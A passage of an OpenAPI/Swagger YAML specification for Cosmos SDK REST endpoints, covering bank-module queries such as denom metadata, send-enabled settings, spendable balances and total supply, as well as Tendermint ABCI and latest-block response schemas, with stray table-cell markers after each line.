display indicates the suggested denom that should be | |
displayed in clients. | |
name: | |
type: string | |
description: 'Since: cosmos-sdk 0.43' | |
title: 'name defines the name of the token (eg: Cosmos Atom)' | |
symbol: | |
type: string | |
description: >- | |
symbol is the token symbol usually shown on exchanges (eg: | |
ATOM). This can | |
be the same as the display. | |
Since: cosmos-sdk 0.43 | |
uri: | |
type: string | |
description: >- | |
URI to a document (on or off-chain) that contains | |
additional information. Optional. | |
Since: cosmos-sdk 0.46 | |
uri_hash: | |
type: string | |
description: >- | |
URIHash is a sha256 hash of a document pointed by URI. | |
It's used to verify that | |
the document didn't change. Optional. | |
Since: cosmos-sdk 0.46 | |
description: |- | |
Metadata represents a struct that describes | |
a basic token. | |
description: >- | |
QueryDenomMetadataResponse is the response type for the | |
Query/DenomMetadata RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: denom | |
description: denom is the coin denom to query the metadata for. | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/params: | |
get: | |
summary: Params queries the parameters of x/bank module. | |
operationId: BankParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
send_enabled: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
enabled: | |
type: boolean | |
description: >- | |
SendEnabled maps coin denom to a send_enabled status | |
(whether a denom is | |
sendable). | |
description: >- | |
Deprecated: Use of SendEnabled in params is deprecated. | |
For genesis, use the newly added send_enabled field in the | |
genesis object. | |
Storage, lookup, and manipulation of this information is | |
now in the keeper. | |
As of cosmos-sdk 0.47, this only exists for backwards | |
compatibility of genesis files. | |
default_send_enabled: | |
type: boolean | |
description: Params defines the parameters for the bank module. | |
description: >- | |
QueryParamsResponse defines the response type for querying x/bank | |
parameters. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/send_enabled: | |
get: | |
summary: SendEnabled queries for SendEnabled entries. | |
description: >- | |
This query only returns denominations that have specific SendEnabled | |
settings. | |
Any denomination that does not have a specific setting will use the | |
default | |
params.default_send_enabled, and will not be returned by this query. | |
Since: cosmos-sdk 0.47 | |
operationId: SendEnabled | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
send_enabled: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
enabled: | |
type: boolean | |
description: >- | |
SendEnabled maps coin denom to a send_enabled status | |
(whether a denom is | |
sendable). | |
pagination: | |
description: >- | |
pagination defines the pagination in the response. This field | |
is only | |
populated if the denoms field in the request is empty. | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
description: >- | |
QuerySendEnabledResponse defines the RPC response of a SendEnable | |
query. | |
Since: cosmos-sdk 0.47 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: denoms | |
description: >- | |
denoms is the specific denoms you want look up. Leave empty to get | |
all entries. | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/spendable_balances/{address}: | |
get: | |
summary: >- | |
SpendableBalances queries the spendable balance of all coins for a | |
single | |
account. | |
description: >- | |
When called from another module, this query might consume a high amount | |
of | |
gas if the pagination field is incorrectly set. | |
Since: cosmos-sdk 0.46 | |
operationId: SpendableBalances | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
balances: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
description: balances is the spendable balances of all the coins. | |
pagination: | |
description: pagination defines the pagination in the response. | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
description: >- | |
QuerySpendableBalancesResponse defines the gRPC response structure | |
for querying | |
an account's spendable balances. | |
Since: cosmos-sdk 0.46 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: address | |
description: address is the address to query spendable balances for. | |
in: path | |
required: true | |
type: string | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/spendable_balances/{address}/by_denom: | |
get: | |
summary: >- | |
SpendableBalanceByDenom queries the spendable balance of a single denom | |
for | |
a single account. | |
description: >- | |
When called from another module, this query might consume a high amount | |
of | |
gas if the pagination field is incorrectly set. | |
Since: cosmos-sdk 0.47 | |
operationId: SpendableBalanceByDenom | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
balance: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
description: >- | |
QuerySpendableBalanceByDenomResponse defines the gRPC response | |
structure for | |
querying an account's spendable balance for a specific denom. | |
Since: cosmos-sdk 0.47 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: address | |
description: address is the address to query balances for. | |
in: path | |
required: true | |
type: string | |
- name: denom | |
description: denom is the coin denom to query balances for. | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/supply: | |
get: | |
summary: TotalSupply queries the total supply of all coins. | |
description: >- | |
When called from another module, this query might consume a high amount | |
of | |
gas if the pagination field is incorrectly set. | |
operationId: TotalSupply | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
supply: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
title: supply is the supply of the coins | |
pagination: | |
description: |- | |
pagination defines the pagination in the response. | |
Since: cosmos-sdk 0.43 | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
title: >- | |
QueryTotalSupplyResponse is the response type for the | |
Query/TotalSupply RPC | |
method | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/supply/by_denom: | |
get: | |
summary: SupplyOf queries the supply of a single coin. | |
description: >- | |
When called from another module, this query might consume a high amount | |
of | |
gas if the pagination field is incorrectly set. | |
operationId: SupplyOf | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
amount: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
description: >- | |
QuerySupplyOfResponse is the response type for the Query/SupplyOf | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: denom | |
description: denom is the coin denom to query balances for. | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/cosmos/base/tendermint/v1beta1/abci_query: | |
get: | |
summary: >- | |
ABCIQuery defines a query handler that supports ABCI queries directly to | |
the | |
application, bypassing Tendermint completely. The ABCI query must | |
contain | |
a valid and supported path, including app, custom, p2p, and store. | |
description: 'Since: cosmos-sdk 0.46' | |
operationId: ABCIQuery | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
code: | |
type: integer | |
format: int64 | |
log: | |
type: string | |
info: | |
type: string | |
index: | |
type: string | |
format: int64 | |
key: | |
type: string | |
format: byte | |
value: | |
type: string | |
format: byte | |
proof_ops: | |
type: object | |
properties: | |
ops: | |
type: array | |
items: | |
type: object | |
properties: | |
type: | |
type: string | |
key: | |
type: string | |
format: byte | |
data: | |
type: string | |
format: byte | |
description: >- | |
ProofOp defines an operation used for calculating Merkle | |
root. The data could | |
be arbitrary format, providing necessary data for | |
example neighbouring node | |
hash. | |
Note: This type is a duplicate of the ProofOp proto type | |
defined in Tendermint. | |
description: >- | |
ProofOps is Merkle proof defined by the list of ProofOps. | |
Note: This type is a duplicate of the ProofOps proto type | |
defined in Tendermint. | |
height: | |
type: string | |
format: int64 | |
codespace: | |
type: string | |
description: >- | |
ABCIQueryResponse defines the response structure for the ABCIQuery | |
gRPC query. | |
Note: This type is a duplicate of the ResponseQuery proto type | |
defined in | |
Tendermint. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: data | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: path | |
in: query | |
required: false | |
type: string | |
- name: height | |
in: query | |
required: false | |
type: string | |
format: int64 | |
- name: prove | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Service | |
/cosmos/base/tendermint/v1beta1/blocks/latest: | |
get: | |
summary: GetLatestBlock returns the latest block. | |
operationId: GetLatestBlock | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
block: | |
title: 'Deprecated: please use `sdk_block` instead' | |
type: object | |
properties: | |
header: | |
type: object | |
properties: | |
version: | |
title: basic block info | |
type: object | |
properties: | |
block: | |
type: string | |
format: uint64 | |
app: | |
type: string | |
format: uint64 | |
description: >- | |
Consensus captures the consensus rules for processing | |
a block in the blockchain, | |
including all blockchain data structures and the rules | |
of the application's | |
state transition machine. | |
chain_id: | |
type: string | |
height: | |
type: string | |
format: int64 | |
time: | |
type: string | |
format: date-time | |
last_block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
last_commit_hash: | |
type: string | |
format: byte | |
title: hashes of block data | |
data_hash: | |
type: string | |
format: byte | |
validators_hash: | |
type: string | |
format: byte | |
title: hashes from the app output from the prev block | |
next_validators_hash: | |
type: string | |
format: byte | |
consensus_hash: | |
type: string | |
format: byte | |
app_hash: | |
type: string | |
format: byte | |
last_results_hash: | |
type: string | |
format: byte | |
evidence_hash: | |
type: string | |
format: byte | |
title: consensus info | |
proposer_address: | |
type: string | |
format: byte | |
description: Header defines the structure of a Tendermint block header. | |
data: | |
type: object | |
properties: | |
txs: | |
type: array | |
items: | |
type: string | |
format: byte | |
description: >- | |
Txs that will be applied by state @ block.Height+1. | |
NOTE: not all txs here are valid. We're just agreeing | |
on the order first. | |
This means that block.AppHash does not include these | |
txs. | |
title: >- | |
Data contains the set of transactions included in the | |
block | |
evidence: | |
type: object | |
properties: | |
evidence: | |
type: array | |
items: | |
type: object | |
properties: | |
duplicate_vote_evidence: | |
type: object | |
properties: | |
vote_a: | |
type: object | |
properties: | |
type: | |
type: string | |
enum: | |
- SIGNED_MSG_TYPE_UNKNOWN | |
- SIGNED_MSG_TYPE_PREVOTE | |
- SIGNED_MSG_TYPE_PRECOMMIT | |
- SIGNED_MSG_TYPE_PROPOSAL | |
default: SIGNED_MSG_TYPE_UNKNOWN | |
description: >- | |
SignedMsgType is a type of signed | |
message in the consensus. | |
- SIGNED_MSG_TYPE_PREVOTE: Votes | |
- SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
timestamp: | |
type: string | |
format: date-time | |
validator_address: | |
type: string | |
format: byte | |
validator_index: | |
type: integer | |
format: int32 | |
signature: | |
type: string | |
format: byte | |
description: >- | |
Vote represents a prevote, precommit, or | |
commit vote from validators for | |
consensus. | |
vote_b: | |
type: object | |
properties: | |
type: | |
type: string | |
enum: | |
- SIGNED_MSG_TYPE_UNKNOWN | |
- SIGNED_MSG_TYPE_PREVOTE | |
- SIGNED_MSG_TYPE_PRECOMMIT | |
- SIGNED_MSG_TYPE_PROPOSAL | |
default: SIGNED_MSG_TYPE_UNKNOWN | |
description: >- | |
SignedMsgType is a type of signed | |
message in the consensus. | |
- SIGNED_MSG_TYPE_PREVOTE: Votes | |
- SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
timestamp: | |
type: string | |
format: date-time | |
validator_address: | |
type: string | |
format: byte | |
validator_index: | |
type: integer | |
format: int32 | |
signature: | |
type: string | |
format: byte | |
description: >- | |
Vote represents a prevote, precommit, or | |
commit vote from validators for | |
consensus. | |
total_voting_power: | |
type: string | |
format: int64 | |
validator_power: | |
type: string | |
format: int64 | |
timestamp: | |
type: string | |
format: date-time | |
description: >- | |
DuplicateVoteEvidence contains evidence of a | |
validator signed two conflicting votes. | |
light_client_attack_evidence: | |
type: object | |
properties: | |
conflicting_block: | |
type: object | |
properties: | |
signed_header: | |
type: object | |
properties: | |
header: | |
type: object | |
properties: | |
version: | |
title: basic block info | |
type: object | |
properties: | |
block: | |
type: string | |
format: uint64 | |
app: | |
type: string | |
format: uint64 | |
description: >- | |
Consensus captures the consensus rules | |
for processing a block in the | |
blockchain, | |
including all blockchain data structures | |
and the rules of the application's | |
state transition machine. | |
chain_id: | |
type: string | |
height: | |
type: string | |
format: int64 | |
time: | |
type: string | |
format: date-time | |
last_block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
last_commit_hash: | |
type: string | |
format: byte | |
title: hashes of block data | |
data_hash: | |
type: string | |
format: byte | |
validators_hash: | |
type: string | |
format: byte | |
title: >- | |
hashes from the app output from the prev | |
block | |
next_validators_hash: | |
type: string | |
format: byte | |
consensus_hash: | |
type: string | |
format: byte | |
app_hash: | |
type: string | |
format: byte | |
last_results_hash: | |
type: string | |
format: byte | |
evidence_hash: | |
type: string | |
format: byte | |
title: consensus info | |
proposer_address: | |
type: string | |
format: byte | |
description: >- | |
Header defines the structure of a | |
Tendermint block header. | |
commit: | |
type: object | |
properties: | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
signatures: | |
type: array | |
items: | |
type: object | |
properties: | |
block_id_flag: | |
type: string | |
enum: | |
- BLOCK_ID_FLAG_UNKNOWN | |
- BLOCK_ID_FLAG_ABSENT | |
- BLOCK_ID_FLAG_COMMIT | |
- BLOCK_ID_FLAG_NIL | |
default: BLOCK_ID_FLAG_UNKNOWN | |
title: >- | |
BlockIdFlag indicates which BlcokID the | |
signature is for | |
validator_address: | |
type: string | |
format: byte | |
timestamp: | |
type: string | |
format: date-time | |
signature: | |
type: string | |
format: byte | |
description: >- | |
CommitSig is a part of the Vote included | |
in a Commit. | |
description: >- | |
Commit contains the evidence that a | |
block was committed by a set of | |
validators. | |
validator_set: | |
type: object | |
properties: | |
validators: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
proposer: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
total_voting_power: | |
type: string | |
format: int64 | |
common_height: | |
type: string | |
format: int64 | |
byzantine_validators: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
total_voting_power: | |
type: string | |
format: int64 | |
timestamp: | |
type: string | |
format: date-time | |
description: >- | |
LightClientAttackEvidence contains evidence of a | |
set of validators attempting to mislead a light | |
client. | |
last_commit: | |
type: object | |
properties: | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
signatures: | |
type: array | |
items: | |
type: object | |
properties: | |
block_id_flag: | |
type: string | |
enum: | |
- BLOCK_ID_FLAG_UNKNOWN | |
- BLOCK_ID_FLAG_ABSENT | |
- BLOCK_ID_FLAG_COMMIT | |
- BLOCK_ID_FLAG_NIL | |
default: BLOCK_ID_FLAG_UNKNOWN | |
title: >- | |
BlockIdFlag indicates which BlcokID the | |
signature is for | |
validator_address: | |
type: string | |
format: byte | |
timestamp: | |
type: string | |
format: date-time | |
signature: | |
type: string | |
format: byte | |
description: >- | |
CommitSig is a part of the Vote included in a | |
Commit. | |
description: >- | |
Commit contains the evidence that a block was committed by | |
a set of validators. | |
sdk_block: | |
title: 'Since: cosmos-sdk 0.47' | |
type: object | |
properties: | |
header: | |
type: object | |
properties: | |
version: | |
title: basic block info | |
type: object | |
properties: | |
block: | |
type: string | |
format: uint64 | |
app: | |
type: string | |
format: uint64 | |
description: >- | |
Consensus captures the consensus rules for processing | |
a block in the blockchain, | |
including all blockchain data structures and the rules | |
of the application's | |
state transition machine. | |
chain_id: | |
type: string | |
height: | |
type: string | |
format: int64 | |
time: | |
type: string | |
format: date-time | |
last_block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
last_commit_hash: | |
type: string | |
format: byte | |
title: hashes of block data | |
data_hash: | |
type: string | |
format: byte | |
validators_hash: | |
type: string | |
format: byte | |
title: hashes from the app output from the prev block | |
next_validators_hash: | |
type: string | |
format: byte | |
consensus_hash: | |
type: string | |
format: byte | |
app_hash: | |
type: string | |
format: byte | |
last_results_hash: | |
type: string | |
format: byte | |
evidence_hash: | |
type: string | |
format: byte | |
title: consensus info | |
proposer_address: | |
type: string | |
description: >- | |
proposer_address is the original block proposer | |
address, formatted as a Bech32 string. | |
In Tendermint, this type is `bytes`, but in the SDK, | |
we convert it to a Bech32 string | |
for better UX. | |
description: Header defines the structure of a Tendermint block header. | |
data: | |
type: object | |
properties: | |
txs: | |
type: array | |
items: | |
type: string | |
format: byte | |
description: >- | |
Txs that will be applied by state @ block.Height+1. | |
NOTE: not all txs here are valid. We're just agreeing | |
on the order first. | |
This means that block.AppHash does not include these | |
txs. | |
title: >- | |
Data contains the set of transactions included in the | |
block | |
evidence: | |
type: object | |
properties: | |
evidence: | |
type: array | |
items: | |
type: object | |
properties: | |
duplicate_vote_evidence: | |
type: object | |
properties: | |
vote_a: | |
type: object | |
properties: | |
type: | |
type: string | |
enum: | |
- SIGNED_MSG_TYPE_UNKNOWN | |
- SIGNED_MSG_TYPE_PREVOTE | |
- SIGNED_MSG_TYPE_PRECOMMIT | |
- SIGNED_MSG_TYPE_PROPOSAL | |
default: SIGNED_MSG_TYPE_UNKNOWN | |
description: >- | |
SignedMsgType is a type of signed | |
message in the consensus. | |
- SIGNED_MSG_TYPE_PREVOTE: Votes | |
- SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
timestamp: | |
type: string | |
format: date-time | |
validator_address: | |
type: string | |
format: byte | |
validator_index: | |
type: integer | |
format: int32 | |
signature: | |
type: string | |
format: byte | |
description: >- | |
Vote represents a prevote, precommit, or | |
commit vote from validators for | |
consensus. | |
vote_b: | |
type: object | |
properties: | |
type: | |
type: string | |
enum: | |
- SIGNED_MSG_TYPE_UNKNOWN | |
- SIGNED_MSG_TYPE_PREVOTE | |
- SIGNED_MSG_TYPE_PRECOMMIT | |
- SIGNED_MSG_TYPE_PROPOSAL | |
default: SIGNED_MSG_TYPE_UNKNOWN | |
description: >- | |
SignedMsgType is a type of signed | |
message in the consensus. | |
